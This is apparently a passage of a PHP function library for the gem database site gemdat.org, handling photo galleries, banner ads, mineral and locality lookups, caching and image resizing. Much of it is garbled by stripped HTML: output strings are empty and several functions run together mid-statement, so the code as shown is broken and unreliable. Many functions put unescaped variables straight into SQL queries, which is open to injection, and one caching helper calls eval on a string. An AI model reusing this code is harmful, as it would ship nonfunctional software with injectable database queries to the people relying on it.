exit(); } } } return(1); } function bigphotolist($link=0) { if(!$link) $link = opendb(); // $stmt = "select minerals.name, photo.* from photo, minerals where minerals.id = photo.min1 and photo.checkedby > 0 ORDER BY photo.pid desc LIMIT 9"; $stmt = "select minerals.name, photo.* from photo, minerals,localities where photo.loc = localities.id and photo.parent=0 and photo.curl='' and minerals.id = photo.min1 and photo.checkedby > 0 and photo.approved>0 ORDER BY photo.lastview, photo.ppop LIMIT 6"; if($result = mysql_query($stmt,$link)) { print ""; $c=0; while(($row=mysql_fetch_object($result))) { if($c==0) print ""; $c++; if($c==3) $c=0; print ""; if($c==0) print ""; } print "
    "; printbigphoto($row,1,0,0,0.8,1); print "
    "; mysql_free_result($result); } } function is_liveserver() { if($_SERVER["HTTP_HOST"]=="www.gemdat.org") return(1); return(0); } function dogmap_include($domd=0) { global $gmap_included; if(!$gmap_included) { printjs(); $gmap_included=1; ?> $min "; } function name2id($name,$link) { $rc = 0; $res = mysql_query("select minerals.id from minerals where name = '$name'",$link); if($res) { $row = mysql_fetch_object($res); if($row) $rc = $row->id; } return($rc); } */ function name2id($name) { global $link; return(min2id($name)); } function id2name($id) { $rc = ''; global $link; $res = mysql_query("select minerals.name from minerals where id = $id",$link); if($res) { $row = mysql_fetch_object($res); if($row) $rc = $row->name; } return($rc); } function locelements($loc,$link) { $eles = "-"; $sql = "select minerals.sigelements from locentries,minerals where locentries.loc = $loc and locentries.min=minerals.id"; $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { $bits = explode("-",$row->sigelements); foreach($bits as $bit) { if(strlen($bit)) { if(strpos(" $eles","-$bit-")<1) { $eles = $eles.$bit."-"; } } } } mysql_query("update localities set elements = '$eles' where id=$loc",$link); } function splitformula($form) { // returns a string of element entities $out ="-"; $elems = "Ac Ag Al Am Ar As At Au Ba Be Bh Bi Bk Br Ca Cd Ce Cf Cl Cm Co Cr Cs Cu Db Ds Dy Er Es Eu Fe Fm Fr Ga Gd Ge He Hf Hg Ho Hs In Ir Kr La Li Lr Lu Md Mg Mn Mo Mt Na Nb Nd Ne Ni No Np Os Pa Pb Pd Pm Po Pr Pt Pu Ra Rb Re Rf Rg Rh Rn Ru Sb Sc Se Sg Si Sm Sn Sr Ta Tb Tc Te Th Ti Tl Tm Xe Yb Zn Zr"; $elems .= " N B O P C K F S H I U V W Y"; $elearray = explode(" ",$elems); $fc = $form; // copy; while(list($key,$sym) = each($elearray)) { if(strstr($fc,$sym)) { $out.=$sym."-"; $fc = str_replace($sym,"",$fc); } } return $out; } function sigsplitformula($form) { $do = 1; $nform = ""; for($i=0;$iPrevious Page",$nimg="Next Page") { $gnext = 1; if(($start+$offset)>=$tot) $gnext=0 ?>
    Pages
      =($startoffset)) { if($x*$offset<=($endoffset)) { if($x*$offset<>$start) { print ""; } else print ""; print $x+1; if($x*$offset<>$start) { print " "; } else print " "; } } } print " "; if($gnext) { ?>


    "; } function timestring($time) { // $time = unix timestamp; $diff = $time - time(); $poss=0; if($diff<0) { $poss=1; $diff=abs($diff); } $days = floor($diff / 86400); $rem = $diff - ($days * 86400); $hours = floor ($rem / 3600); $rem = $rem - ($hours * 3600); $mins = floor ($rem / 60); if($days) { $out = "$days day"; if($poss==1) $out = "-$days day"; if($days>1) $out.="s"; if($hours) { $out.=" $hours hour"; if($hours>1) $out.="s"; } return($out); } if($hours) { $out="$hours hour"; if($poss==1) $out="-$hours hour"; if($hours>1) $out.="s"; } $out.=" $mins minute"; if($mins>1) $out.="s"; return(trim($out)); } // rules for banners..... // 1. banners may only be shown once per page // 2. mode 1 - shown in order of who has the most money first // 3. mode 0 - shown in last-shown-first order function addbanners($count=4,$mode=0) { if($count==5) $cn="banner5"; else $cn="banners"; print "
    "; addbanner($mode); addbanner($mode); addbanner($mode); addbanner($mode); if($count==5) addbanner($mode); print "
    "; } function addbanner($mode=0,$id=0) { global $link; global $usedads; global $global_id; if($id) { $sql = "select * from gd_banners where gb_id='$id' and gb_start<=now() and gb_end>=now() "; } else { $sql = "select * from gd_banners where gb_type='$mode' and gb_start<=now() and gb_end>=now() "; if(is_array($usedads)) foreach($usedads as $g) { $sql.=" and gb_id<>'$g' "; } $sql.=" order by rand() limit 1"; } $res = mysql_query($sql,$link); if($row=mysql_fetch_object($res)) { $date = date("Y-m-d"); $id = $row->gb_id; mysql_query("update gd_bannerstats set gbs_views=gbs_views+1 where gbs_date='$date' and gbs_gb_id='$id'",$link); if(mysql_affected_rows()==0) { mysql_query("insert into gd_bannerstats set gbs_views=1, gbs_date='$date', gbs_gb_id='$id'",$link); } print "gb_file}\">"; $usedads[]=$id; } else { // print $sql; } } function username($id) { global $link; $id = (int) $id; $sql = "select name from users where uid=$id"; $res = mysql_query($sql,$link); $row = mysql_fetch_row($res); return($row[0]); } function minads($minid,$minname,$limit=4) { global $link; // $sql="select minads.*,links.url,links.txt,users.uid from minads,links,users where (minads.minid=0 or minads.minid='$minid') and minads.linkid=links.id and links.owner=users.uid and users.money>minads.maxcost order by minads.maxcost desc, rand() limit 9"; // $res=mysql_query($sql,$link); $sql = "select * from specialadverts where sa_min='$minid' order by rand() limit $limit"; $sres = mysql_query($sql,$link); $limit -=mysql_num_rows($sres); $sql="select * from gd_directory_entries where de_adtype=3 and de_adexpire>now() and de_textlinkurl<>'' order by rand() limit $limit"; $zminname = urlencode($minname); $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { mysql_query("update gd_directory_entries set de_textlinkview=de_textlinkview+1 where de_id='$row->de_id'",$link); $tlink = str_replace("%",$minname,$row->de_textlink); print "
  • de_id&m=$zminname\">$tlink"; } while($row = mysql_fetch_object($sres)) { print "
  • $row->sa_text"; } } function newbutton($text,$link,$text2="") { $new = 0; if(substr($link,0,1)=="_") { $new=1; $link = substr($link,1); $link = "click.php?enc=".urlencode(base64_encode($link)); } ?>
  • >
  • =$minw)&&($ix<=$maxw)&&($iy>=$minh)&&($iy<=$maxh)) { imagejpeg($im,$dest,$cmp); return(0); } else { if($ix>$maxw) { $iy = $maxw * $oiy / $oix; $ix = $maxw; } /* if($ix<$minw) { $iy = $minw * $oiy / $oix; $ix = $minw; } */ if($iy>$maxh) { $ix = $maxh * $oix / $oiy; $iy = $maxh; } /* if($iy<$minh) { $ix = $minh * $oix / $oiy; $iy = $minh; } */ // are we going to a fixed size? $cr = hexdec(substr($col,0,2)); $cg = hexdec(substr($col,2,2)); $cb = hexdec(substr($col,4,2)); if(($minw==$maxw)&&($minh==$maxh)) { $dim = imagecreatetruecolor($maxw,$maxh); $col = imagecolorallocate($dim,$cr,$cg,$cb); imagefilledrectangle($dim,0,0,$maxw-1,$maxh-1,$col); imagecopyresampled($dim,$im,($maxw-$ix)/2,($maxh-$iy)/2,0,0,$ix,$iy,$oix,$oiy); } else { $dim = imagecreatetruecolor($ix,$iy); imagecopyresampled($dim,$im,0,0,0,0,$ix,$iy,$oix,$oiy); } /* if($line) { $black = imagecolorallocate($dim,0,0,0); $white = imagecolorallocate($dim,255,255,255); imageline($dim,$oix,$oiy,$oix+$ix,$oiy,$black); imageline($dim,$oix,$oiy,$oix,$oiy+$iy,$black); imageline($dim,$oix,$oiy+$iy,$oix+$ix,$oiy+$iy,$white); imageline($dim,$oix,$oiy,$oix,$oiy+$iy,$white); } */ if($ext=="png") { imagepng($dim,$dest,6); } else { imagejpeg($dim,$dest,$cmp); } return(1); } } // returns a text description of what this mineral item is // can be passed an id or a row object function whatis($id) { global $link; if($id->id) { $row = $id; } else { $res = mysql_query("select * from minerals where id=$id",$link); $row = mysql_fetch_object($res); } if($row->synid) { $str = " a synonym of ".id2min($row->synid,$link); } if($row->ima==1) { $str = " an IMA-approved mineral species"; } if($row->varietyof) { $str = " a variety of ".id2min($row->varietyof,$link); } // $sql = "select * from return($str); } function irandpic($num) { global $link; $sql="SELECT pid FROM `photo` WHERE (curl = '' OR curl IS NULL) and approved>0 and phototype=1"; $result = mysql_query($sql,$link); $num=mysql_num_rows($result); $num1=$num-1; $x1=mt_rand(0,$num1); $x2=mt_rand(0,$num1); if ($x1==$x2) $x2=mt_rand(0,$num1); mysql_data_seek($result, $x1); $row=mysql_fetch_object($result); $rec1=$row->pid; mysql_data_seek($result, $x2); $row=mysql_fetch_object($result); $rec2=$row->pid; $sql2="SELECT photo.*, minerals.name, users.name AS username FROM photo,minerals,users WHERE photo.min1 = minerals.id AND photo.uid = users.uid and (photo.pid=$rec1 or photo.pid=$rec2)"; $res = mysql_query($sql2,$link); print mysql_error(); while($row = mysql_fetch_object($res)) { ?>
    Random Pic


    Big Photo

    name)) { print "$row->name"; if($locid) print "
    "; } if($locid) print "".loc2txt($locid,$link).""; else print $row->title; if($row->weight) print "
    $row->weight carats"; if($row->copyright2) { print("
    © $row->copyright2"); } ?>

    "; } function newrbutton($text,$ulink,$bg="e0f3f2",$ro="c4c0ed",$w=100) { // $bg and $ro are now ignored! $new = 0; if(substr($ulink,0,1)=="_") { $new=1; $ulink = substr($ulink,1); $ulink = "click.php?enc=".urlencode(base64_encode($ulink)); } ?>href="">0 "; $sql .= "order by new_date desc limit $cnt"; $res = mysql_query($sql, $link); while($row = mysql_fetch_object($res)) { if(!trim($row->new_browser_title)) { $artid = (int) $row->new_title; if($artid) { $res2 = mysql_query("select * from articles where ar_id='$artid'",$link); $row2 = mysql_fetch_object($res2); $url = "article.php/$row2->ar_id/".urlencode($row2->ar_title); print "
  • "; print "News "; print "".date("jS F Y", strtotime($row->new_date))." ".trimstring($row2->ar_title,50)."
  • "; } } else { print "
  • "; print "News "; print "".date("jS F Y", strtotime($row->new_date))." ".trimstring($row->new_title,50)."
  • "; } } } function getlanguagename($iso) { global $link; $sql = "select lang_englishname from languages where iso='$iso'"; $res = mysql_query($sql,$link); $row = mysql_fetch_row($res); mysql_free_result($res); return($row[0]); } // something that tells us if we really do have an array, and if so, are there any non-empty/non-zero entries. We can exclude entries too. function realcount($array,$exclude="") { $count=0; if(!is_array($array)) return(0); foreach($array as $val) { if(($exclude<>$val)&&($val)) $count++; } return($count); } function cachedelmin($min) { global $link; mysql_query("delete from cachemin where ca_min='$min'",$link); mysql_query("delete from cacheminloc where ca_min='$min'",$link); } function cachedelloc($loc) { global $link; mysql_query("delete from cacheloc where ca_loc='$loc'",$link); mysql_query("delete from cacheminloc where ca_loc='$loc'",$link); $sql = "select * from localities where id='$loc'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); $txt = $row->txt; while($compos = strpos(",",$txt)) { $txt = trim(substr($txt,$compos+1)); mysql_query("select id from localities where txt='".addslashes($txt)."'",$link); $nrow = mysql_fetch_object($res); if($nrow) { mysql_query("delete from cacheloc where ca_loc='$loc'",$link); mysql_query("delete from cacheminloc where ca_loc='$loc'",$link); } } } function cachedellocmin($loc,$minlist) { global $link; //Goes up locality tree until minerals are found on page or get to top of hierarchy mysql_query("delete from cacheloc where ca_loc='$loc' and ca_name like 'loc%'",$link); $sql = "select * from localities where id='$loc'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); $minarray=explode(",",$minlist); foreach($minarray as $key => $value) { if($value == "" || $value == " " || is_null($value)) { unset($minarray[$key]); } } $parent = $row->parent; while($parent<>0) { $onpage=true; $row = mysql_fetch_object(mysql_query("select * from cacheloc where ca_loc='$parent' and ca_name like 'loc%'",$link)); foreach ($minarray as $minname) { if (strpos($row->ca_content,$minname)==0) { $onpage=false; break; } } if($onpage) { break; } else { $loc=$parent; mysql_query("delete from cacheloc where ca_loc='$loc' and ca_name like 'loc%'",$link); $sql = "select * from localities where id='$loc'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); $parent = $row->parent; } } } function cacheupdate($key,$val) { global $AUTOCACHE_replacers; $AUTOCACHE_replacers[$key]=$val; } function cacheupdatecatch($key,$func) { global $AUTOCACHE_replacers; ob_start(); eval($func); $val = ob_get_contents(); ob_end_clean(); $AUTOCACHE_replacers[$key]=$val; } function cacheget($name,$min,$loc,$time=0) { global $AUTOCACHE_min; global $AUTOCACHE_loc; global $AUTOCACHE_name; global $AUTOCACHE_expires; $AUTOCACHE_min=$min; $AUTOCACHE_loc=$loc; $AUTOCACHE_name=$name; if(!$time) $time=strtotime("now + 3 months"); $AUTOCACHE_expires=$time; $dbname="cache"; if($min) $dbname.="min"; if($loc) $dbname.="loc"; $sql = "select * from $dbname where ca_name='".addslashes($name)."'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); if(!$row) return(FALSE); return(unserialize($row->ca_content)); } function cacheput($var) { global $AUTOCACHE_min; global $AUTOCACHE_loc; global $AUTOCACHE_name; global $AUTOCACHE_replacers; global $AUTOCACHE_expires; global $link; $content = serialize($var); ob_end_clean(); //write cache $expiry = date("Y-m-d H:i:s",$AUTOCACHE_expires); $len = strlen($content); $dbname="cache"; if($AUTOCACHE_min) $dbname.="min"; if($AUTOCACHE_loc) $dbname.="loc"; mysql_query("insert into $dbname (ca_min,ca_loc,ca_name,ca_content,ca_expires,ca_length) values('$AUTOCACHE_min','$AUTOCACHE_loc','".addslashes($AUTOCACHE_name)."','".addslashes($content)."','$expiry','$len')",$link); } function cachedelete($name) { global $link; $name = addslashes($name); mysql_query("delete from cache where ca_name='$name'",$link); } function cachestart($name,$min,$loc,$time=0) { // name must be unique global $AUTOCACHE_min; global $AUTOCACHE_loc; global $AUTOCACHE_name; global $AUTOCACHE_replacers; global $AUTOCACHE_expires; global $link; $AUTOCACHE_min=$min; $AUTOCACHE_loc=$loc; $AUTOCACHE_name=$name; if(!$time) $time=strtotime("now + 1 month"); $AUTOCACHE_expires=$time; $dbname="cache"; if($min) $dbname.="min"; if($loc) $dbname.="loc"; $sql = "select * from $dbname where ca_name='".addslashes($name)."'"; $res = mysql_query($sql,$link); $row = @mysql_fetch_object($res); @mysql_free_result($res); if(!$row) { ob_start(); return(1); } // has it expired? $expiry = date("Y-m-d H:i:s"); if($row->ca_expires<$expiry) { mysql_query("delete from $dbname where ca_id='$row->ca_id'",$link); ob_start(); return(1); } $content = $row->ca_content; if(is_array($AUTOCACHE_replacers)) foreach($AUTOCACHE_replacers as $key=>$val) { $content=str_replace("%%".$key."%%",$val,$content); } print $content; return(0); } function cacheend() { global $AUTOCACHE_min; global $AUTOCACHE_loc; global $AUTOCACHE_name; global $AUTOCACHE_replacers; global $AUTOCACHE_expires; global $link; $content = ob_get_contents(); if(strpos($var,"mysql_fetch_object")) { return(FALSE); } ob_end_clean(); //write cache $expiry = date("Y-m-d H:i:s",$AUTOCACHE_expires); $len = strlen($content); $dbname="cache"; if($AUTOCACHE_min) $dbname.="min"; if($AUTOCACHE_loc) $dbname.="loc"; if(!strpos($var,"mysql_fetch_object")) { mysql_query("insert into $dbname (ca_min,ca_loc,ca_name,ca_content,ca_expires,ca_length) values('$AUTOCACHE_min','$AUTOCACHE_loc','".addslashes($AUTOCACHE_name)."','".addslashes($content)."','$expiry','$len')",$link); } if(is_array($AUTOCACHE_replacers)) foreach($AUTOCACHE_replacers as $key=>$val) { $content=str_replace("%%".$key."%%",$val,$content); } print $content; } function getaccesslevel() { return($_SESSION["accl"]); } function posessive($txt) { $txt = $txt.="'s"; $txt = str_replace("s's","s'",$txt); return($txt); } function expandmin($nid) { global $link; $res2 = mysql_query("select * from minerals where id = $nid",$link); $row2 = mysql_fetch_object($res2); if($row2->varietyof) { $res3 = mysql_query("select * from minerals where id = $row2->varietyof",$link); $row3 = mysql_fetch_object($res3); print "id.html\">"; print "$row3->name "; print "(Var: " ; print "$row2->name)"; // if ($astcol) print " *"; // if ($row2->dispformulasimple=="") $row2->dispformulasimple=$row3->dispformulasimple; // if ($row2->dispformulasimple!="") print " : ".$row2->dispformulasimple.""; } else { print "" ; print "$row2->name" ; // if ($astcol) print " *"; // if ($row2->dispformulasimple!="") print " : ".$row2->dispformulasimple.""; } } function expandgem($nid) { global $link; $res2 = mysql_query("select * from minerals,gd_info where gd_id=id and id = $nid",$link); $row2 = mysql_fetch_object($res2); if($row2->gd_variety) { $res3 = mysql_query("select * from minerals,gd_info where gd_id=id and id = '$row2->gd_variety'",$link); $row3 = mysql_fetch_object($res3); print "id.html\">"; print "$row3->name "; print "(Var: " ; print "$row2->name)"; } else { print "" ; print "$row2->name" ; } } function galrow($row) { global $link; global $licencetypes; $m1 = $row->min1; $m2 = $row->min2; $m3 = $row->min3; $m4 = $row->min4; $m5 = $row->min5; $m6 = $row->min6; $m7 = $row->min7; $m8 = $row->min8; $licence = $row->licence; if(!$licence) $licence=1; if(!$licencetypes[$licence]) { $res = mysql_query("select * from licences where li_id='$licence'",$link); $licencetypes[$licence]=mysql_fetch_object($res); mysql_free_result($res); } print "
    "; print "

    "; $res4 = mysql_query("select count(parent) from photo where parent='$row->pid'",$link); $count = mysql_result($res4,0); if ($count>0) print " \"Multiple"; if(($row->title)||(!$row->min1)) { if($row->title) print "$row->title"; else print "(No Title)"; } else { for($n=1;$n<9;$n++) { $mn = "m$n"; $nid = $$mn; /* $as="as$n"; $astcol = $row->$as; */ if($nid) { if($n>1) print ", "; expandmin($nid); } } } ?>

    potddate>'2001-01-01' && ( $row->potddate<=date("Y-m-d"))) { print "

    Gemdat.org Photo of the Day - ".date("jS M Y",strtotime($row->potddate))."

    "; } // print "

    Photo Category: "; switch($row->photoclass) { case 0: // print "unset!"; break; case 1: // print "Gemstone Photo

    "; print "

    Gemstone: min1}.html\">".id2min($row->min1)."

    "; break; case 2: // print "Microphoto"; print "

    Primary (background) Gem: "; print "min1}.html\">".id2min($row->min1).""; if($row->min2) { print "
    Inclusions: "; $c=""; for($x=2;$x<6;$x++) { $minx = "min$x"; $m = $row->$minx; if($m) { print $c; $c=", "; expandmin($m); } } } print "

    "; break; case 3: // print "Lapidary Creation"; if($row->min1) { print "

    Gem materials: "; $c=""; for($x=1;$x<9;$x++) { $minx = "min$x"; $m = $row->$minx; if($m) { print $c; $c=", "; expandmin($m); } } print "

    "; } break; default: print nl2br(trimstring($row->comments,350)); break; } if($row->txt) print "

    Location of Origin: loc.html\">$row->txt

    "; if($row->cut) { print "

    Cut Type: "; $ksql = "select gc_name from gd_cuts where gc_id='{$row->cut}'"; $kres = mysql_query($ksql,$link); print "cut}.html\">".mysql_result($kres,0).""; print "

    "; } if($row->weight) { print "

    Weight: ".$row->weight." cts.

    "; } if($row->gw) { print "

    Dimensions: "; print $row->gw."mm x "; if($row->gh) print $row->gh."mm x "; if($row->gd) print $row->gd."mm"; else print "?"; print "

    "; } print "
    "; if($licencetypes[$licence]->li_copyright) { if($row->copyright2) print "© $row->copyright2"; } print "Photo ID: $row->pid"; print "View Count: $row->ppop"; if(($_SESSION["userid"])&&(($_SESSION["userid"]==$row->uid)||($_SESSION["accl"]>2))) { print "pid\">Edit This Photo"; } print "
    "; if(isset($row->more)) { $min = id2name($row->min1,$link); $loc = simplifyname($row->txt); print ""; } } function markup($content) { global $link; global $seo_ok; return(mget($content,$link)); $seo_ok=0; } function divhead($title,$donl=0) { dohead($title); startdiv($title,$donl); } function simplifyname($txt) { $out = ""; $mode = 1; for($i=0;$i"; if($h1) print "

    $h1

    "; } function enddiv() { print "
    "; } function getusername($user) { global $link; if(!is_object($user)) { $sql = "select * from users where uid='$user'"; $res = mysql_query($sql,$link); $user = mysql_fetch_object($res); } $f = $user->firstname; $l = $user->lastname; if(substr($l,0,1)=="{") $l="???"; return("$f $l"); } function addfavourite($id,$type) { global $link; $id = (int) $id; if(!$id) return; $u = $_SESSION["userid"]; if($u) { mysql_query($sql="delete from favourites where fav_uid='$u' and fav_itemid='$id' and fav_type='$type'",$link); mysql_query($sql="insert into favourites(fav_uid,fav_type,fav_itemid) values('$u','$type','$id')",$link); } } function remfavourite($id,$type) { global $link; $id = (int) $id; if(!$id) return; $u = $_SESSION["userid"]; if($u) { mysql_query($sql="delete from favourites where fav_uid='$u' and fav_itemid='$id' and fav_type='$type'",$link); } } function gethtmlname($row) { if(!$row->suffixitalic) return($row->name); $bits = explode("-",$row->name); $bits[count($bits)-1]="".$bits[count($bits)-1].""; return(join("-",$bits)); } function validateduser($date="now") { global $link; $u = $_SESSION["userid"]; if(!$u) return(0); $sql = "select * from users where uid='$u'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) return(0); if($row->banned) return(0); $time = date("Y-m-d",strtotime($date)); if("$row->datejoined">"$time") return(0); if($row->validatedemail==$row->email) return(1); return(0); } function simplepage($head,$text) { dohead($head); print "

    $head

    $text

    "; dotail(); exit(); } function cstart($head) { print "

    $head

    "; } function cend() { print "

    "; } function cstartw($head) { print "

    $head

    "; } function usercountry($uid) { global $link; $sql = "select country from users where uid='$uid'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); $cid = $row->country; mysql_free_result($res); return $cid; } function usercountryname($uid) { global $link; return countryname(usercountry($uid)); } function countryname($id) { global $link; $sql = "select * from countries where id='$id'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); return($row->text); } function javascript($string) { $replace = array( "\t" => '\t', "\n" => '\n', "\r" => '\r', '\\' => '\\\\', ); return str_replace(array_keys($replace),array_values($replace),$string); } function ts($class="gemdattable",$style="") { print ""; } function trs() { print ""; } function tre() { print ""; } function th($c="",$c2="") { print ""; } function ths($rowspan=0) { print ""; } function the() { print ""; } function td($c="",$c2="") { print ""; } function trh2($c="",$class="") { print ""; } function trd2($c="",$class="") { print ""; } function tds() { print ""; } function thd($h="",$c="") { print ""; } function trhd($h="",$c="") { print ""; } function te() { print "
    $c"; if($c2) print "
    $c2"; print "
    $c"; if($c2) print "
    $c2"; print "
    $c
    $c
    "; } function td2s() { print ""; } function tde() { print "$h$c
    $h$c
    "; } function email_link($email,$txt,$js) { $a = hex_encode($email); if($txt) $b = $txt; else $b = $email; $b = htmlchars($b); if($js==1) { $b = str_replace("@","�'+'64'+';",$b); $b = str_replace(".","'+'6;",$b); if($email) { switch(rand(0,3)) { case 0: $out = ""; break; case 1: $out = ""; break; case 2: $out = ""; break; default: $out = ""; break; } } else { $j = ""; $cnt=0; $out = ""; } } else if($js==2) { if($txt) $b=$txt; // override obfuscation for subject $out = "[mailto:$a $b]"; } else { if($email) $out = "$b"; else $out = $b; } return $out; } function min2gem($id) { global $link; do { $sql = "select * from gd_info where gd_id='{$id}'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row->gd_synid) $id=$row->gd_synid; } while($row->gd_synid); if(!$row) return(0); return($id); } function in_min_list($min,$loc) { $min= (int) $min; $loc = (int) $loc; global $link; $resa= mysql_query("select * from locentries where loc=$loc and min = $min",$link); if (mysql_num_rows($resa)>0) return ""; $locrevtxta= mysql_fetch_row(mysql_query("select revtxt from localities where id=$loc",$link)); $locrevtxt= addslashes($locrevtxta[0]."%"); $resb= mysql_query("select * from locentries,localities where localities.revtxt like '$locrevtxt' and localities.id=locentries.loc and locentries.min = $min",$link); if (mysql_num_rows($resb)>0) return "blue"; $varofa= mysql_fetch_row(mysql_query("select varietyof from minerals where id=$min",$link)); $varof= $varofa[0]; if ($varof>0) { $resa= mysql_query("select * from locentries where loc=$loc and min = $varof",$link); if (mysql_num_rows($resa)>0) return "green"; $resb= mysql_query("select * from locentries,localities where localities.revtxt like '$locrevtxt' and localities.id=locentries.loc and locentries.min = $varof",$link); if (mysql_num_rows($resb)>0) return "brown"; } return "red"; } function clearboth() { print "
    "; } function ddbutton($txt,$url,$isset=0) { print "
  • "; if($isset) print ""; else { if(substr($url,0,1)=="_") { $url = substr($url,1); print ""; } else { print ""; } } print $txt; if($isset) print ""; else print ""; print "
  • "; } function drawul($row) { global $link; $rstxt = addslashes($row->revtxtd); $stmt = "select revtxtd,id,txt,latitude,longitude from localities where parent=$row->id order by revtxt"; $res = mysql_query($stmt,$link); $bits = explode(",",$row->revtxtd); $level = count($bits); $oldbits=array(); if(mysql_num_rows($res)) { print "
      "; while($row2=mysql_fetch_object($res)) { $stmt = "select count(id) from localities where revtxtd like '".addslashes($row2->revtxtd).", %'"; $res2 = mysql_query($stmt,$link); $extra = mysql_result($res2,0); mysql_free_result($res2); if($bits2) $oldbits = $bits2; $bits2 = explode(",",$row2->revtxtd); $newlevel = count($bits2); if($extra<20) { $next=1; $extra=0; } else { $next=0; } // print "
    • id $row2->id level=$level newlevel=$newlevel $row2->revtxtd "; if($newlevel>($level+1)) { for($x=$level;$x<($newlevel-1);$x++) { if($bits2[$x]<>$oldbits[$x]) print "
    • {$bits2[$x]}
    • "; print ""; } } } print "
    "; } } // call this after a locality has changed name. This updates locentries and photo revtxt fields. function localitychanged($id,$revtxtd='',$nonrec=0) { global $link; if(!$revtxtd) { $res = mysql_query("select revtxtd from localities where id='$id'",$link); $revtxtd = mysql_result($res,0); } // print "a revtxtd = $revtxtd "; $revtxtd=mysql_real_escape_string($revtxtd); mysql_query("update locentries set lorevtxtd='$revtxtd' where loc='$id'",$link); mysql_query("update photo set phrevtxtd='$revtxtd' where loc='$id'",$link); /* - this bit seemed like a good idea, but took 1 second per locality. doh. $sql = "select id from localities where '$revtxtd' like concat(revtxtd,', %') order by length(revtxtd) limit 1"; $res = mysql_query($sql,$link); $p = mysql_result($res,0); */ updateparent($id,$revtxtd); if(!$nonrec) { $sql = "select * from localities where revtxtd like '$revtxtd, %'"; $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { updateparent($row->id,addslashes($row->revtxtd)); } } } function updateparent($id,$revtxtd) { // note this function is called with revtxtd already slashed. Please don't call this one directly. call localitychanged! global $link; // print "id = $id"; $bits = explode(",",$revtxtd); $x = count($bits)-1; // print "revtxtd = $revtxtd count = $count "; if($x) { do { $newrt = ""; for($y=0;$y<$x;$y++) { if($newrt) $newrt.=", "; $newrt.=trim($bits[$y]); } $sql = "select id from localities where revtxtd='$newrt'"; $res = mysql_query($sql,$link); $p = @mysql_result($res,0); $x--; // print "x= $x p=$p sql = $sql
    "; } while((!$p)&&($x>0)); } else $p=0; // print "final parent for id $id is $p
    "; mysql_query("update localities set parent='$p' where id='$id'",$link); } function mysql_queryd($sql,$link) { global $DEBUG; $ts = microtime(true); $res = mysql_query($sql,$link); $te = microtime(true); $time = $te-$ts; if(($time>0.5)&&($DEBUG)) { $arr = debug_backtrace(); print "
    Slow SQL:

    $sql

    Time: $time secs
    ";
    			var_dump($arr);
    			print "

    "; } return($res); } // backported from minfind function matchlocation($str) { global $link; global $LOCNAME; global $COUNTRYNAME; // takes a location string in // spits out a mindat locality // $LOCNAME global will be set with the loc name in mindat $sql = "select * from loctoid where lid_text='".addslashes($str)."'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row) { return($row->lid_locid); } $LOCNAME = ""; $str = str_replace("TYPE LOCALITY","",$str); $str = str_replace("Type Locality","",$str); $str = str_replace("type locality","",$str); $str = str_replace("Type locality","",$str); $str = str_replace("( )","",$str); $str = str_replace("()","",$str); $str = str_replace("County,","Co.,",$str); $str = str_replace("United States","USA",$str); $str = str_replace("Slovak Republic","Slovakia",$str); $str = str_replace("United Kingdom","UK",$str); $str = str_replace("Mina ","",$str); $str = str_replace("Mountains","Mts",$str); $name = str_replace(","," ",$str); $name = str_replace(" ","%",$name); $name = trim($name); $name = addslashes($name); $sql = "select id,txt from localities where txt = '$name'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row) { return($row->id); } // $sql = "select id,txt,match (txt) against ('$name') as matchv from localities where match (txt) against ('$name') limit 10"; $sql = "select id,txt,country from localities where txt like '$name' order by visits desc"; $a = getmatch($sql); if($a) return($a); $sql = "select id,txt,country from localities where txt like '%$name%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $name = english($name); $name = strtoupper($name); $sql = "select id,txt,country from localities where plaintxt like '%$name%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $bits = explode(",",$str); $first = $bits[0]; $last = $bits[count($bits)-1]; $bits2 = explode("(",$first); $first = $bits2[0]; $first = addslashes(trim($first)); $last = addslashes(trim($last)); $sql = "select id,txt,country from localities where txt like '$first%,%$last%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $sql = "select id,txt,country from localities where txt like '%$first%,%$last%' order by visits desc"; $a = getmatch($sql); if($a) return($a); // ok we've failed. Let's at least see if we can get a country ot of it. switch(strtolower($last)) { case "new jersey": case "new york": case "california": case "arizona": case "nevada": case "new mexico": case "utah": case "colorado": case "south carolina": case "north carolina": case "ohio": case "michigan": case "hawaii": case "alaska": case "washington": case "oregon": $last="USA"; break; case "georgia": // sorry, no fun with georgia. return(0); break; } $sql = "select id,txt,country from localities where txt like '$last' order by visits desc"; $res = mysql_query($sql,$link); if($row = mysql_fetch_object($res)) { $COUNTRYNAME=$row->country; } } function getmatch($sql) { global $link; global $LOCNAME; global $COUNTRYNAME; $res = mysql_query($sql,$link); // print "Query: $sql
    "; $max = mysql_num_rows($res); if(!$max) { return(0); } if($max>3) { return(0); } $row = mysql_fetch_object($res); $LOCNAME = $row->txt; $COUNTRYNAME=$row->country; // print "found $LOCNAME & $COUNTRYNAME
